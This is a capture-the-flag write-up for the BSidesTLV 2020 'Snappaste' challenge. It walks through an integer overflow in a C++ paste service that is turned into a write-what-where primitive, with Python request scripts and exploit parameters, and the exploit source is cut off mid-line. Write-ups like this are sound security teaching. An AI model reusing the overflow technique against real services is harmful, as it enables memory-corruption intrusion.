Rating:

# Snappaste (Part 1) Writeup

We felt like there were not enough pasting services, so we created Snappaste! For better privacy, each pasted text can only be accessed once. We care about performance, and therefore we developed Snappaste in C++. We hope that we didn't introduce any security bugs :)

URL: https://snappaste.ctf.bsidestlv.com/

To compile, Use the following commands:

gcc -c -std=c99 zlib/*.c
g++ -c -std=c++14 snappaste.cc
g++ -o snappaste *.o -pthread

By Michael Maltsev

## Solution

First thing we did was observing the packets in packet capture software (for example Fiddler) and build a script to create valid packets.

**Python script to reproduce a paste request:**

```python
import requests
import struct
import zlib

url = 'https://snappaste.ctf.bsidestlv.com/'
paste_url = url + 'paste'
view_url = url + 'view/'
backdoor_url = url + 'backdoor/'

metadata = b'{"name": "alex","date":"2020-06-28T15:52:21.519Z"}'
data_decompressed = 'this is my data'
data_compressed = zlib.compress(data_decompressed)
metadata_size = len(metadata)
data_compressed_size = len(data_compressed)
data_decompressed_size = len(data_decompressed)

paste_data = b''
paste_data += struct.pack('<I', metadata_size)
paste_data += struct.pack('<I', data_compressed_size)
paste_data += struct.pack('<I', data_decompressed_size)
paste_data += metadata
paste_data += data_compressed

r = requests.post(paste_url, data = paste_data, verify = False, headers = { 'Cookie': 'BSidesTLV=af6e736a35c13bfbe3f81d76e271a1aa52c3e937'})
print(r.content)
```

We created a local environment by compiling the C++ code for easier testing procedure.

Tried to find vulnerability in C++ code. Even when sizes were tampered the program worked correctly because the allocation was made according to the size given.

Our final goal is to get into the next `if` statement:

```python
// TODO: remove after testing
if (name == backdoor_filename) {
std::cout << "printing flag" << std::endl;
content += readfile("./flag");
}
```

Because C++ is doing that specific compare by value (and not by reference), we need to overwrite the buffer:

```python
// TODO: remove after testing
char backdoor_filename[17];
```

We can leak its address using the `/backdoor` API, so we only need Write-What-Where primitive, and overwrite it with our random generated file name.

We can spot an Integer Overflow vulnerability in the next line:

```python
dword num_bytes = header->metadata_size + header->data_decompressed_size + sizeof(PASTE_RECEIVED);
```

After trying many combinations, the next one worked for us:

- First we are doing a regular paste.
- We are leaking the `backdoor_filename` address using `/backdoor` API.
- Creating a new paste with the next parameters:
- `metadata = <previous_name>`
- `metadata_size = 16`
- `data_decompressed = <leaked_backdoor_pointer>`
- `data_compressed_size = len(zlib(data_decompressed))`
- `data_decompressed_size = 0xFFFFFFF8`
- This creates allocation of size 48.
- So line: `int result = uncompress(paste_received->data, &dest_len, data, header->data_compressed_size);` will overwrite the `paste_received->metadata` pointer with `backdoor_filename` address.
- And finally, line `memcpy(paste_received->metadata, metadata, header->metadata_size);` will overwrite the global variable with our random name.
- Flag: `BSidesTLV2020{$0metimes-jUst-4dding-tw0-nuMber$-g3ts-y0u-iN-tr0ub13s}`
Full exploit source code:

```python
import requests
import struct
import zlib

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# url = 'http://127.0.0.1:8080/'
url = 'https://snappaste.ctf.bsidestlv.com/'
paste_url = url + 'paste'
view_url = url + 'view/'
backdoor_url = url + 'backdoor/'

# NORMAL PASTE REQUEST
metadata = b'{"name": "alex","date":"2020-06-28T15:52:21.519Z"}'
data_decompressed = b'this is normal'
data_compressed = zlib.compress(data_decompressed)
metadata_size = len(metadata)
data_compressed_size = len(data_compressed)
data_decompressed_size = len(data_decompressed)

paste_data = b''
paste_data += struct.pack('

Original writeup (https://github.com/alex-ilgayev/CTFs/tree/master/BSidesTLV2020/Snappaste%20(Part%201)).